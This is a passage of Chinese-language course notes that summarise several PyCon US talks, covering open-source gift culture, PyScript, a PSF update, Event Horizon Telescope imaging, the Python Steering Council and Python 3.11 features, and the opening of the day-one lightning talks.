TypedDict:用于为字典(如 JSON 数据)提供强类型注解。Protocol:用于定义结构化的鸭子类型,提供极大的灵活性。- Self Types:用于注解返回
self或类实例的方法。 - 型变(Variance):理解协变、逆变和不变,即使不使用类型检查器,也有助于理解集合与替换原则。
感谢你的关注。


007:可持续的社区馈赠模式


概述
在本节课中,我们将学习Naomi Ceder关于Python社区“礼物时光”的演讲。我们将探讨开源社区如何运作,分析当前面临的挑战,并思考如何维持一个健康、可持续的、以馈赠为核心的社区文化。
社区馈赠模式的定义
上一节我们介绍了本次演讲的主题。本节中,我们来看看什么是社区馈赠模式。
开源社区,如Python社区,常被比作一种礼物经济。其核心定义是:社区成员贡献他们所能贡献的,并在需要时分享社区中其他人贡献的资源。
这种模式并非简单的物物交换,也不是为了追求即时的、一对一的平衡。它更像是某种文化中的分享传统:当一个人有能力时(例如贡献代码、组织活动),他会为社区付出;而当他需要时,也能从社区的整体资源中获益。
核心公式可以概括为:
贡献者贡献资源(时间、代码、知识等) -> 社区资源池增长 -> 所有成员(包括贡献者)共享资源池
社区面临的挑战
理解了馈赠模式后,我们来看看当前社区面临哪些现实挑战。
随着Python及其社区的指数级增长,维持这一模式的压力越来越大。一个相对较小的志愿者团体需要支撑一个被数百万人使用的庞大生态。
以下是社区中常见的几种问题模式:
- “流星”现象:一些贡献者初期展现出超人般的热情和精力,承担过多工作,但很快因倦怠而逐渐淡出,甚至与社区关系破裂。
- 核心维护者倦怠:长期的关键贡献者感到付出被视作理所当然,情感投入过深难以抽身,但又疲惫不堪。
- 贡献渠道不畅:许多有意贡献的新人因缺乏引导、沟通不畅或贡献被拒绝而流失。在馈赠文化中,拒绝礼物是一种侮辱,意味着拒绝其成为社区的一部分。
这些问题的共同结果是:项目因维护者倦怠而停滞,社区倡议因缺乏新鲜血液而荒废,最终损害了整个生态系统的健康。
驱动社区的叙事演变
面对这些挑战,我们需要审视驱动我们行为的底层叙事。上一节我们看到了问题,本节我们来分析其背后的思想根源。
大约20年前,对开源动机的主流解释是“开明的自我利益”。即,人们贡献是为了解决自身需求(“挠自己的痒”)或获得声誉等回报。这种观点认为,一切行为最终都源于自私。
这种叙事的问题在于:它无法容纳真正的社区精神、利他主义和服务意识。如果以此为指导,那么志愿者的倦怠、项目的废弃都被视为“兴趣不足”或“回报不够”的自然结果,无需也无法解决。
值得庆幸的是,这种观点正在失宠。如今,更被广泛认同的说法是:“我是因为语言而来,却是为了社区而留。” 这标志着社区本身的价值得到了认可。
馈赠模式的价值与运作
那么,什么才是更健康的社区叙事呢?本节我们将深入探讨馈赠模式的价值。
馈赠模式对人类具有普遍的吸引力。贡献者付出,是因为他们能够,并且知道这能让整个社区变得更好。同时,所有成员共享的不仅是代码,还有支持、友谊、教育、专业网络等无形价值。
这种模式的关键特征在于其模糊性和非精确性。无法量化一次代码评审等于几次演讲,也无法计算分享的“鹿肉”值多少“鱼”。这种不确定性并非缺陷,而是维系社区的纽带。它让人们意识到彼此的命运是交织在一起的,从而促进团结与合作。
馈赠文化的核心循环:
- 成员在有能力时自愿贡献(礼物)。
- 贡献汇入社区资源池。
- 所有成员(包括贡献者)从资源池中受益。
- 受益者未来在有能力时再次贡献,形成良性循环。
构建可持续未来的行动建议
认识到馈赠模式的价值后,我们该如何行动,以构建一个更可持续的社区未来呢?以下是基于此理念的几点建议。
在个人层面:
- 心怀感激:理解我们都在受益于他人的礼物,更积极地表达感谢。
- 保持适度:提醒自己和他人,贡献应以可持续为度,无需过度承诺。可以说:“你已经做得够多了。”
- 接纳礼物:乐于接受新人的贡献,并提供引导。拒绝贡献就是拒绝其人。
在项目与领导层面:
- 分担负担与移交领导权:积极分享任务,培养继任者。专业建议是:从担任领导职务的第一天起,就开始思考继任计划。
- 提供指导:将指导和辅导也视为给予社区的珍贵礼物。
谨慎处理金钱与商业关系
社区运作离不开现实世界的资源,尤其是金钱。本节我们探讨如何在馈赠文化中妥善处理经济问题。
金钱交易的本质是精确和即时结清,这与馈赠文化的模糊和长期联结恰恰相反。纯粹的金钱交易无法建立社区。
因此,社区需要非常谨慎地处理金钱:
- 必要性与公平性:需要资金来支持全职工作者、促进活动包容性、发展全球社区。这些支出是必要且合理的,相关人员应获得公平甚至慷慨的报酬。
- 避免“企业化”:社区(如PSF)必须警惕在筹款和使用资金时变得像一家“企业”。企业中的雇主-雇员、商家-客户关系不同于社区中的贡献者-成员关系。
- 正确的策略:社区不应试图成为商业实体,而应邀请企业进入我们的馈赠世界,向他们展示参与社区带来的无形价值(如人才、创新、声誉)。
未来,市场经济与社区馈赠文化之间的张力可能会加剧。社区将面临是否要“出卖”自身文化以换取短期利益的抉择。维护馈赠文化的完整性,将是长期繁荣的关键。
总结
本节课中,我们一起学习了Naomi Ceder关于Python社区“礼物时光”的深刻思考。
我们首先定义了开源社区的馈赠模式,即成员贡献所能、共享所有的非精确交换系统。接着,我们分析了社区因增长而面临的可持续性挑战,如贡献者倦怠和新人融入困难。然后,我们回顾了驱动社区的叙事演变,从“自我利益”转向更重视“社区价值”。
我们深入探讨了馈赠模式的核心价值在于其模糊性所带来的联结力。最后,我们提出了构建可持续未来的建议,包括个人层面的感恩与适度、领导层的责任分担与继任规划,以及整个社区需要谨慎处理金钱关系,避免“企业化”,以守护馈赠文化的核心。

维护一个健康、包容、可持续的馈赠社区,需要每位成员的理解、行动和长期承诺。
008:PyScript的愿景与实践


在本节课中,我们将学习Anaconda CEO Peter Wang在PyCon上的主题演讲。演讲的核心是探讨Python的现状、面临的挑战,并介绍一个名为PyScript的革命性项目。该项目旨在让Python代码直接在浏览器中运行,从而极大地降低编程门槛,实现“为每个人编程”的愿景。
概述:Python的现状与挑战
Python因其简洁、易读和强大的生态系统,已成为数据科学、教育和脚本编写等领域最受欢迎的语言之一。然而,尽管它取得了巨大成功,但在某些方面仍面临挑战。
上一节我们介绍了Python的流行地位,本节中我们来看看它面临的具体问题。
以下是Python当前面临的两个主要挑战:
- 打包与依赖管理:Python拥有超过10万个库,但让这些库协同工作非常困难。现有的解决方案往往只能解决80%的问题,这意味着用户有20%的时间会遭遇不愉快的体验。
- 构建用户界面与分发应用:作为世界上最流行的编程语言之一,Python却难以轻松构建具有用户界面的应用程序(如iOS应用、Windows桌面应用)。即使构建带有网页前端的应用,开发者也需要额外学习JavaScript、CSS和HTML。这使得分享和分发Python工作成果变得复杂。
核心理念:将Python从传统架构中解放出来
Python的成功部分源于它作为“胶水语言”的能力,能够粘合各种用C/C++等语言编写的底层库和系统。然而,这也意味着Python被束缚在几十年前设计的计算架构(如C语言、Unix进程模型)中。
为了触及更广泛的用户,我们需要让Python去人们所在的地方。如今,浏览器赢得了“操作系统之战”,而JavaScript因其是浏览器的原生语言而占据主导地位。因此,关键问题在于:我们能否让Python在浏览器中本地运行?
答案是肯定的,这要归功于 WebAssembly。
关键技术:WebAssembly简介
WebAssembly(简称Wasm)是一种为Web设计的、可移植的二进制指令格式。它允许用C/C++、Rust等语言编写的代码以接近原生的速度在浏览器中运行。
对于Python而言,这意味着:
- CPython解释器本身是一个C程序。
- NumPy、SciPy等核心科学计算栈也主要由C/C++编写。
- 因此,整个Python生态系统可以被编译成WebAssembly模块,从而在浏览器中运行。
近年来,Pyodide等项目已经成功将Python数据科学栈的大部分编译为WebAssembly。现在,官方CPython也即将把WebAssembly作为第二层支持的平台。
核心项目:PyScript是什么?
基于WebAssembly的能力,Anaconda团队创建了PyScript。PyScript是一个框架,允许开发者在HTML中直接嵌入Python代码,并使其在浏览器中完全运行。
它的核心思想非常简单:在HTML文件中使用 <py-script> 标签来编写Python逻辑。
以下是一个最基础的PyScript示例,它展示了如何在HTML中混合Python与JavaScript来操作网页内容:
<!DOCTYPE html>
<html lang="en">
<head>
<link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
<script defer src="https://pyscript.net/alpha/pyscript.js"></script>
</head>
<body>
<div id="output"></div>
<py-script>
from js import document
import asyncio
output_div = document.getElementById("output")
while True:
output_div.innerHTML = "Hello, PyScript! 🌟"
await asyncio.sleep(1)
output_div.innerHTML = ""
await asyncio.sleep(0.5)
</py-script>
</body>
</html>
代码解释:
- 我们引入了PyScript的CSS和JS文件。
- 在HTML中定义了一个
id为“output”的div容器。 - 在
<py-script>标签内,我们编写Python代码。 - 通过
from js import document,我们可以直接访问浏览器的文档对象模型。 - 代码实现了一个简单的闪烁文本效果,通过循环修改
outputdiv的内容来实现。
将上述代码保存为 .html 文件,用浏览器打开即可看到效果,无需安装Python或任何服务器。
PyScript的能力与演示

上一节我们看到了一个简单的“Hello World”示例,本节中我们来看看PyScript更强大的应用场景。


1. 交互式REPL(读取-求值-输出循环)

PyScript可以创建一个在浏览器中运行的Python交互式环境,类似于Jupyter Notebook的单个单元格,但完全在客户端运行。

2. 构建完整的Web应用

你可以用PyScript构建像“待办事项列表”这样的完整应用。所有应用逻辑(添加任务、标记完成)都用Python编写,并直接操作HTML DOM。这消除了传统Web开发中前后端分离的复杂性。
3. 运行复杂的数据科学栈
这是PyScript最激动人心的部分。由于Pyodide的支持,你可以在浏览器中直接导入和使用 NumPy、Pandas、Scikit-learn、Matplotlib 等库。
示例概念:你可以在一个HTML文件中加载纽约出租车数据集,使用Pandas进行数据筛选,用Scikit-learn运行一个简单的聚类算法,并用Matplotlib或基于JavaScript的Deck.gl库进行可视化呈现。所有计算和渲染都在用户的浏览器中完成,你只需分享这个HTML文件。
优势:
- 零安装:用户无需安装Python或任何包。
- 易于分享:应用就是一个HTML文件,可以通过邮件、网盘或USB驱动器分享。
- 隐私保护:敏感数据可以在客户端处理,无需上传到服务器。
- 利用现有生态:可以直接调用丰富的JavaScript可视化库(如D3.js, Deck.gl)。
愿景与未来:为下一亿Python开发者铺路
Peter Wang在演讲中提出了一个深刻的问题:世界上有多少软件开发者?数据表明,这个数字大约在2500万左右,不到全球人口的0.3%。而精通数据科学和AI的人则更少。
这种现状并不理想。我们创造技术,最终是为了服务所有人。PyScript的愿景就是极大地降低编程和计算的门槛。
想象一下:
- 一个学生可以在图书馆的公共电脑上,打开浏览器就开始学习Python和数据科学。
- 一位研究人员可以将其分析模型打包成一个交互式的HTML文件,直接发送给合作者审阅。
- 任何有创意的人都可以快速构建一个有趣的小工具并与世界分享,无需担心复杂的部署问题。
PyScript的目标是让网络重新成为一个“可黑客的”、友好的地方,激发每个人的创造力,将编程的快乐带给更广泛的人群。
总结
本节课中我们一起学习了Peter Wang关于Python未来和PyScript项目的分享。我们回顾了Python的成就与挑战,认识了WebAssembly这项让Python在浏览器中运行的关键技术,并深入了解了PyScript框架如何通过将Python代码嵌入HTML,实现真正的“无服务器”客户端计算。


PyScript目前仍处于早期阶段,但它代表了一个强大的愿景:通过降低技术门槛,让编程和教育更加民主化,从而赋能下一个一亿Python开发者。这不仅仅是关于一门语言或一个工具,更是关于如何利用技术促进计算素养,塑造一个更加开放和创新的未来。
009:主题演讲


概述
在本节中,我们将了解Python软件基金会(PSF)的最新动态。内容包括PSF的组织结构变化、新任执行董事的任命、基金会的主要工作、社区服务奖的颁发,以及对整个Python社区的感谢。

PSF的组织更新与感谢
上一节我们概述了本次更新的主要内容,本节中我们来看看PSF近期的人事变动和对社区成员的感谢。
Thomas Waters作为PSF董事会副主席和临时总经理,在Eva Yodlauska离职后,确保了基金会的平稳过渡。Eva Yodlauska为PSF服务了十年,将其从一个志愿者组织发展成拥有多名全职员工的重要基金会。
PSF全体员工和志愿者在过渡期间付出了巨大努力。董事会成立了搜索委员会,并最终聘请了社区成员推荐的Deb Nicholson担任新任执行董事。
新任执行董事致辞
在介绍了组织背景后,现在我们来听听新任执行董事Deb Nicholson的发言。
Deb Nicholson感谢了Thomas Waters的过渡工作以及全体工作人员的付出。她特别感谢了会议主席Emily Morehouse连续三年的志愿服务。
Deb Nicholson阐述了PSF的核心使命:作为Python的非营利性中立组织,确保Python保持其社区驱动的开源特性。这使得PSF能够接受来自任何人的补丁、建议和贡献。
PSF为Python编程语言提供支持和基础设施,并资助开发人员。例如:
- WooCush 是专注于CPython优化的驻场开发者。
- Shimica Manihan 是打包项目经理,正在制定打包愿景并即将征求社区意见。
PSF还通过资助项目来回馈社区,今年已捐出117,000美元。
PSF的运作与社区参与
了解了PSF的职责后,我们来看看它是如何运作以及社区如何参与。
PSF的运作离不开社区的支持。社区成员在工作中推广Python、帮助他人学习、并促使所在企业向PSF提供资金支持。
PSF发布了年度报告,详细列出了过去一年的成就。基金会也持续进行筹款,并鼓励社区提供与企业合作的筹款建议。
社区服务奖表彰
基金会的发展离不开贡献者,接下来我们将表彰近年来获得社区服务奖的杰出成员。
以下是历年社区服务奖获奖者名单:
2019年获奖者
- Chris Angelico
- Felipo de Marais
- Jessica Upani
- Minnie Young
- Katie Bell
- Lillian Ryan
- Mark Zipiro
- Deborah(现场领奖)
2020年获奖者
- Manuel Kaufmann
- Abigail Dogbe
- Katja Lila
- Noah Alorwu
- Rami Chowdhury
- Elaine Wong
- Humphrey Butao
- George(现场领奖)
2021年获奖者
- Jesse Noller
- Danielle Plasita
- Teresia Ojo-Fosu
- Doris Zapata
- Silvia Cadar
- Vicky Twomey
- Danielle Classe
- Suzuki Takano
- Takahashi Kiyokawa
此外,特别感谢来自日本PyCon协会的Suzuki和Manavu,他们为组织PyCon JP和商标管理做出了贡献,并通过慈善演讲为PSF筹集了超过25,000美元。
PSF鼓励社区提名那些为Python做出卓越贡献的成员。
总结与展望
最后,Deb Nicholson用一个关于小狗的比喻表达了她对Python社区迅速产生的深厚感情。她认为PSF工作人员、志愿者和所有社区成员都充满热情、乐于分享,共同构成了这个优秀的社区。
她表示非常高兴能成为Python社区的一份子,并期待听取大家的想法,希望明年再次相见。


总结
本节课中我们一起学习了Python软件基金会的最新情况。我们了解了PSF的领导层变更、新任执行董事Deb Nicholson的介绍、基金会维护Python开源生态的核心工作、对社区贡献者的表彰,以及社区支持对PSF的重要性。PSF的成功建立在每一位社区成员的参与和贡献之上。
010:如何拍摄黑洞 📡


在本节课中,我们将跟随事件视界望远镜合作成员 Sarah Issaoun 的演讲,学习科学家们如何克服巨大挑战,成功拍摄到第一张黑洞照片。我们将了解其背后的技术原理、数据处理流程以及科学发现。
引言与背景
现在,我很高兴地介绍 Sarah Issaoun,事件视界望远镜的成员。

她是爱因斯坦奖学金获得者。谢谢你们。

我叫 Sarah,是事件视界望远镜合作团队的一员。我在这里告诉你我们是如何成功拍摄黑洞的。你可能熟悉我们 2019 年的著名图像。就是这张图。
这是银河系 M87 中的黑洞图像。距离我们 5500 万光年。我想告诉你一些我们获取这张图像的旅程,以及我们自那时以来对这个黑洞所学到的东西。同时,我也想谈谈软件开发在我们这样的大科学项目中所扮演的角色。
当我们发布图像时,它登上了全球报纸的头条。这不是科学成果常有的事情。这让我们意识到,我们正在向世界提供一些特别的东西。这表明科学不仅仅是关于个人,更是关于合作。
这是团队合作。是克服文化、国家、职业阶段、性别、年龄等差异,团结起来朝着一个目标前进。事件视界望远镜合作团队有 300 多名成员,来自 60 多个机构,遍布全球。我们是一群真正多样化的人。我们并不是所有人都是天文学家。我们是软件开发人员、计算机科学家、工程师、望远镜操作员和管理人员。所有人都是这个故事的一部分。



目标:观测 M87 星系中心的黑洞
上一节我们介绍了项目的背景和团队,本节中我们来看看观测的具体目标——M87星系中心的超大质量黑洞。

如果你抬头看天空,有一个星座叫处女座。在这个星座中,有一个明亮的点,那就是星系 M87。这个星系距离我们 5500 万光年。如果你用像哈勃望远镜这样的光学望远镜观察它,你会看到从它那里发出的物质气体流。
如果你在射电波段观察,并追踪这条气体流到其核心,你就会发现我们用事件视界望远镜找到的超大质量黑洞。这颗黑洞释放出一条气体喷流。与星系的大小相比,这个黑洞小得不可思议。然而,它却创造了一股穿透整个星系的等离子体喷流。
这种巨大的力量令人难以置信,这也是我们尚未完全理解的。用事件视界望远镜近距离观察黑洞使我们能够连接黑洞附近发生的事情与整个星系中发生的事情。
所以这是我们与事件视界望远镜的目标:理解黑洞的外观,它们是如何“进食”物质的,以及它们如何喷射出这些强大的物质喷流。
挑战:黑洞太小太远
我们想看到 M87 黑洞。它非常遥远。它在天空中的预测大小约为 20 到 40 微角秒。这大约是从地球看去,月球表面上一个甜甜圈的大小。
望远镜的角分辨率(能看清的最小细节)与观测波长成正比,与望远镜的尺寸成反比。公式可以表示为:
角分辨率 ≈ 波长 / 望远镜直径
我们需要观测的波长是 1 毫米,这个波长能穿透我们与星系之间的气体。基于预测的大小,我们计算所需的望远镜直径大约是 1300 万米。不幸的是,我们无法建造如此巨大的望远镜。
所以我们最终得到了下一个最好的选择,那就是我们脚下的地球。地球的直径大约是 1300 万米,我们可以把地球作为我们的虚拟望远镜。

技术核心:甚长基线干涉测量(VLBI)
那我们是如何做到的呢?我们使用一种叫做甚长基线干涉测量(VLBI)的技术。我们找到地球周围的望远镜,形成我们虚拟望远镜镜面的片段,然后合成一个大小为地球的虚拟望远镜。

为了实现这一点,黑洞发出的无线电波以平面波的形式到达地球。因为地球是弯曲的,相距很远的望远镜在不同时间接收到信号。

为了重建图像,每个望远镜必须看到相同的信号,这样我们才能关联信号。那么我们如何解决时间差问题呢?
以下是 VLBI 工作的关键步骤:
- 使用超精确时钟:我们在每个望远镜站点使用称为“氢脉泽”的原子钟,它们极其精确。
- 记录信号:每一束到达望远镜的光都被时间标记,然后存储到硬盘中。
- 后期处理:观测结束后,我们将来自所有望远镜硬盘的信号集中在一起,在超级计算机上进行关联处理。
每对望远镜之间的距离称为基线。靠得近的望远镜告诉我们图像中的大规模结构;距离更远的望远镜告诉我们关于小规模结构的信息。因此,我们需要在地球上不同距离和不同方向布置多个望远镜。

望远镜网络:借来的“眼睛”
事件视界望远镜的第一个碟形天线始于 2007 年。到 2017 年,我们有了足够的望远镜组合,使我们能够重建图像。
我们有六个不同的单碟望远镜站址和两个相位阵列(本质上是位于一个地方的望远镜群)。这些望远镜都位于地球上最极端的地方——最干燥的沙漠、最高的山脉。它们是为了完全不同的科学目的而建造的,外观和设计都不同。
但它们有两个共同点:
- 超精确的原子钟。
- 专用的 EHT 数据记录后端设备。
我们并不是单独观测。我们还与其他在不同波长(如X射线、光学)观测的望远镜合作,这被称为多波段协同观测,能帮助我们更全面地理解黑洞。
观测活动:与天气赛跑
我们的观测在每年三月和四月进行,因为这时天气条件最稳定。大气中的水蒸气会干扰我们的信号。
在我们的观测中,我们有一组特定的观察窗口,大约是 12 天。在每一天,我们都会根据天气、望远镜状态以及多波段合作伙伴的日程,做出是否观测的决定。
在 2017 年的活动中,跨越了 12 天,其中有 5 天进行了观测。而这 5 天中有 4 天是针对 M87 的。观测结束后,我们打包硬盘,把它们寄往两个数据处理中心。
数据处理:从 PB 级到一张图片
接下来我想谈谈 EHT 的数据处理过程。这是一个漫长而复杂的过程。
- 相关处理:我们将所有望远镜记录的 PB 级原始数据集中起来,在超级计算机上运行相关器。相关器考虑地球曲率,重新对齐信号,找出每对望远镜共同接收到的信号。这一步将数据量压缩到 TB 级别。
- 校准:然后我们进行校准,通过软件管道(如
HOPS,CASA,AIPS)纠正大气效应、仪器误差等,目标是实现信号的“建设性干涉”,增强有效信号。这一步将数据量减少到 GB/MB 级别。 - 成像:最后,我们使用成像软件(如
eht-imaging等 Python 库)从校准后的数据中重建图像。最终的黑洞图像只有几千字节。
从 PB 级原始数据到千字节的图像,我们经历了 12 个数量级的数据压缩。一半的数据送往美国麻省理工学院的 Haystack 天文台,另一半则送往德国波恩的马克斯·普朗克射电天文研究所进行处理。
数据验证与首张图像
在得到初步数据后,我们进行了严格的数据验证。成像组被分成四个独立的团队,使用不同的技术和软件进行“盲成像”,以最小化人为偏见。

七周后,四个团队齐聚一堂,第一次同时展示了他们重建的图像。令人激动的是,四幅图像都显示了一个相同大小的环,并且环的底部都更亮。

为了确认结果的可靠性,我们创建了已知答案的“合成数据”(模拟数据),并系统测试了成千上万的成像参数,以确保我们的软件能够准确地重建出环形结构。
最终发布的著名图像,其实是多个独立成像结果的平均。
科学发现:黑洞的尺寸、质量与磁场
从图像和数据中,我们可以进行重要的科学测量:
- 测量黑洞质量:我们使用三种独立方法(直接测量、几何模型拟合、理论模型库比对)测量了 M87 黑洞的阴影大小,约为 42 微角秒。由此计算出其质量约为太阳质量的 65 亿倍。
- 验证广义相对论:爱因斯坦的理论预测黑洞阴影是圆形的。我们的测量发现其圆度偏差在 10% 以内,再次证明了爱因斯坦是正确的。
- 偏振图像揭示磁场:2021年,我们发布了 M87 的偏振图像。图像上的条纹显示了光的偏振方向,这揭示了黑洞周围磁场的结构。我们发现磁场是螺旋形的,并且足够强大和有序,能够驱动喷流。这还表明黑洞正在旋转,其旋转能量驱动了磁场和喷流。

M87黑洞的偏振图像,条纹显示了磁场方向。


M87黑洞阴影的大小对比。
未来展望与致谢
事件视界望远镜的旅程还在继续:
- 银河系中心黑洞:我们另一个主要目标是银河系中心的黑洞——人马座 A*。关于它的突破性成果即将公布。
- 扩展阵列:我们正在全球增加新的望远镜,以填充虚拟镜面,获得更清晰的图像。
- 下一代 EHT:未来计划包括建造更多小型望远镜,甚至将望远镜送入太空,以获得更高的分辨率和观测频率。
最后,我想强调,Python 社区、软件开发者和开源社区一直是现代科学的支柱。我们所有的数据分析管道、成像软件和模拟工具都极大地依赖于开源软件。巨大的科学成就离不开开源软件的支持。
请继续关注事件视界望远镜未来的有趣结果。非常感谢大家。

(掌声)


总结 🎯
在本节课中,我们一起学习了:
- 目标与挑战:拍摄 M87 星系中心的黑洞面临巨大挑战,因为它在天空中极其微小。
- 核心技术:科学家利用甚长基线干涉测量(VLBI) 技术,将全球多台望远镜联合起来,形成一个地球大小的虚拟望远镜。
- 观测网络:EHT 使用了遍布全球极端环境下的望远镜,并进行了多波段协同观测。
- 数据处理:从 PB 级原始数据到最终图像,经历了相关、校准、成像等复杂步骤,依赖于强大的超级计算机和开源软件(如 Python 库)。
- 科学发现:我们成功获得了第一张黑洞照片,测量了其质量和大小,验证了爱因斯坦的广义相对论,并通过偏振图像揭示了驱动黑洞喷流的磁场结构。
- 团队与开源精神:这项成就源于全球数百名成员跨越国界和学科的合作,以及开源软件社区的不可或缺的支持。

这张黑洞照片不仅是科学的胜利,也是人类合作、工程智慧和开源精神的典范。
011:主题演讲 🎤


在本节课中,我们将学习Python指导委员会(Steering Council)的职责、工作方式,以及Python 3.11版本的一些重要新特性。我们将跟随一次主题演讲的内容,了解Python语言治理的幕后故事和技术发展的最新动态。
指导委员会简介
上一节我们介绍了课程概述,本节中我们来看看什么是Python指导委员会。
Python指导委员会根据PEP 13(Python增强提案第13号)定义,负责Python编程语言和CPython解释器的技术方向。它取代了之前的“终身仁慈独裁者”(BDFL)Guido van Rossum,后者于2019年退休。
指导委员会的核心原则是通过共识进行治理,而非专制控制。他们倾听核心开发者与社区的声音,并在此基础上做出决策。此外,委员会还负责促进社区与核心开发者之间的协作,确保志愿者能够顺利开展工作。
指导委员会也对Python增强提案(PEP)拥有最终决定权,尽管他们会将部分提案委托给更有相关经验或知识的个人进行评审。
日常工作与结构
上一节我们介绍了指导委员会的职责,本节中我们来看看他们的日常运作和人员构成。
指导委员会每周举行一次时长约一个半小时的会议,讨论各类事务并进行决策。成员们还需要在会议之外处理邮件沟通和准备工作。
需要明确的是,指导委员会与Python软件基金会(PSF)是分开的。指导委员会专注于语言的技术方向,而PSF则负责社区建设、筹款、举办会议(如本次PyCon)以及维护pip等基础设施。两者虽有重叠,但职能不同。
以下是指导委员会的一些运作细节:
- 指导委员会每月会在GitHub和
discuss.python.org上发布工作更新。 - 公众可以通过
steering.council@python.org邮箱联系他们。 - 委员会遵循利益冲突政策,例如,来自同一公司的成员不得超过两人。
目前委员会由五名成员组成,他们都是核心开发者,拥有丰富的经验,但成员背景的多样性(例如,均为在科技公司工作的男性)仍有改进空间。委员会希望未来能有非核心开发者加入,以带来更多元的视角。
年度工作亮点
上一节我们了解了指导委员会的日常,本节中我们来看看过去一年中的几项重要工作成果。
以下是过去一年的主要工作亮点:
- 迁移至GitHub Issues:长期使用的
bugs.python.org(基于Roundup)已完全迁移至GitHub Issues。这项工作历时多年,最终在社区贡献者和GitHub的支持下完成。所有历史问题和数据都已迁移,新的问题必须在GitHub上创建,这有助于利用GitHub的生态和社区知识。 - 聘请驻场开发者:在谷歌的资助下,PSF聘请了长期核心开发者Łukasz Langa作为首位驻场开发者,全职投入CPython的开发工作。他的工作包括处理GitHub问题、审核拉取请求、指导贡献者等,显著提升了项目效率。Meta已承诺为下一年的该职位提供资金。
- 加速CPython:多个团队和项目致力于提升Python的执行速度,例如微软的“Faster CPython”团队、Instagram的Cinder项目以及Sam Gross提出的移除全局解释器锁(GIL)的提案等。这些努力已经在Python 3.11中带来了显著的性能提升。
Python 3.11 新特性预览 🚀
上一节我们回顾了年度工作,本节中我们将重点预览即将发布的Python 3.11版本带来的激动人心的新特性。
更快的CPython
Python 3.11在性能上取得了重大进展。根据官方基准测试,平均加速比约为25%。但实际效果取决于你的代码类型,例如面向对象代码会获得显著提升。
更清晰的错误信息
错误信息得到了持续改进。例如,对于某些语法错误,提示信息会更加明确。这是一个由社区积极贡献的领域。
更精确的错误定位(PEP 657)
回溯信息现在可以精确指出引发异常的表达式中的具体部分。
# 示例:在复杂表达式中快速定位 None 值
result = some_dict[‘key‘][‘subkey‘].method() # 如果中间某个环节是 None,回溯会明确指向它
异常组与 except*(PEP 654)
为了更好地处理并发编程中的多个异常,引入了ExceptionGroup和except*语法。
# 示例:使用异常组
try:
raise ExceptionGroup(
“group“,
[ValueError(1), TypeError(2)]
)
except* ValueError as e:
print(f“Caught ValueError: {e}“)
except* TypeError as e:
print(f“Caught TypeError: {e}“)
类型系统增强
类型注解系统获得了多项改进:
Self类型:用于注解返回类实例的方法,在子类中能正确推断类型。from typing import Self class Shape: def set_scale(self, scale: float) -> Self: self.scale = scale return self- 可变泛型(PEP 646):支持使用
*args语法进行类型注解,用于表示多维数组等数据结构。 - 字面字符串类型(PEP 675):允许标注参数必须是字符串字面量,有助于防止SQL注入等安全问题。
from typing import LiteralString def run_query(sql: LiteralString) -> None: ... # 合法 run_query(“SELECT * FROM users“) # 类型检查器可能报错 user_input = “DELETE FROM users“ run_query(user_input)
标准库新增 TOML 支持
现在标准库内置了对TOML文件的解析支持(通过tomllib模块),可以方便地读取pyproject.toml等配置文件。
import tomllib
with open(“pyproject.toml“, “rb“) as f:
data = tomllib.load(f)
问答环节精选
上一节我们介绍了Python 3.11的新特性,本节中我们来看看社区向指导委员会提出的一些典型问题及其解答。
以下是精选的问答内容:
-
问:对将Python引入浏览器(WebAssembly)有何计划?
答:指导委员会本身不主动推动此类项目,但欢迎并支持社区的工作(如Christian Heimes在CPython中集成Wasm构建版本)。委员会的角色是对成熟的提案进行评估和决策。 -
问:CPython 3.11到底有多快?
答:平均性能提升约25%,但具体效果因程序而异。数字运算密集型或面向对象代码可能受益更大。团队持续通过基准测试监控和改进性能。 -
问:聘请驻场开发者的效果如何?是否有扩招计划?
答:效果非常积极。Łukasz作为驻场开发者贡献巨大。指导委员会希望未来能聘请更多驻场开发者,正在积极寻求资金和合适的人选。 -
问:移除GIL(全局解释器锁)的路线图是怎样的?
答:这是一个备受关注但极其复杂的变更。目前没有具体的官方路线图。任何相关提案都需要详尽的PEP、社区讨论、兼容性评估和实现计划。指导委员会对此持开放态度。 -
问:如何改善Python的错误信息?
答:欢迎社区反馈!特别是教学场景中遇到的令人困惑的错误信息。贡献者可以提交问题报告,说明哪些错误信息难以理解,核心开发者会据此评估改进的优先级。 -
问:核心开发者对指导委员会选举制度满意吗?
答:现行制度是每次大版本发布后重选整个委员会。有成员认为,采用交错任期制可能更有利于保持连续性和稳定性。但修改规则需要由全体核心开发者讨论决定,而非指导委员会自身。
总结



本节课中我们一起学习了Python指导委员会的职责与工作方式,回顾了过去一年的关键成就,并详细预览了Python 3.11版本在性能、错误信息、异常处理、类型系统和标准库方面的重要新特性。我们还通过问答环节了解了社区关注的热点问题及委员会的相应看法。Python的持续发展离不开开放的治理模式和活跃的社区贡献。
012:第一天

在本节课中,我们将一起回顾PyCon US第一天的闪电演讲内容。闪电演讲是一种快速分享想法的形式,每位演讲者有五分钟时间介绍一个主题。我们将整理并翻译这些演讲的核心内容,涵盖数据科学、Python开发、文化体验等多个方面。

P12:闪电演讲规则与开场 🎤
首先,我们快速了解一下闪电演讲的运作规则。

我们将有一系列的演讲者,每人演讲五分钟或更短时间。演讲内容可以是他们建议的任何主题。


以下是计时规则:
- 当演讲者接近时间限制时,主持人会做“单指拍手”示意,声音很轻。
- 当演讲者非常接近结束时,主持人会做“双指拍手”,发出更大的声音作为提醒。
- 一旦达到五分钟,全场会以热烈的掌声感谢演讲者,并请下一位上台。

现在,让我们开始第一个演讲。
P12:Samir - 缺乏数据的数据科学 🔍
接下来,萨米尔将和我们谈谈“缺乏数据的数据科学”。
大家好,我是萨米尔。我们来思考一下,什么是缺乏数据的数据科学?当我们没有数据时,我们真的能做些什么吗?一般来说,答案是否定的。数据是数据科学的起点。
那么,缺乏数据的数据科学是什么意思?它是否仅仅意味着“科学”?我想说,这门科学远不止眼前所见。如果你因为新兴的数据隐私法规而遇到数据访问问题,或者你的数据分散在多个不同的信任域中,又或者你想保留对数据的所有权但仍想利用这些数据,你可能会对我们(Deafron)的工作感兴趣。
如果你想了解更多,请来我们在初创企业区域的展位,我们可以给你演示。你也可以在线查找演示。如果你会说Python,我们也在招聘。谢谢。
P12:Chuk - 我第一次参加PyCon US的文化冲击 🌍
上一节我们听了关于数据科学的分享,本节中我们来看看Chuk参加PyCon US的文化冲击体验。

这是我第一次亲自参加PyCon US。我在去午餐的第一天迷路了,这让我感到震惊。

以下是我感受到的文化冲击点:
- 规模巨大:会议场地、马路、酒店房间的床,一切都非常大。
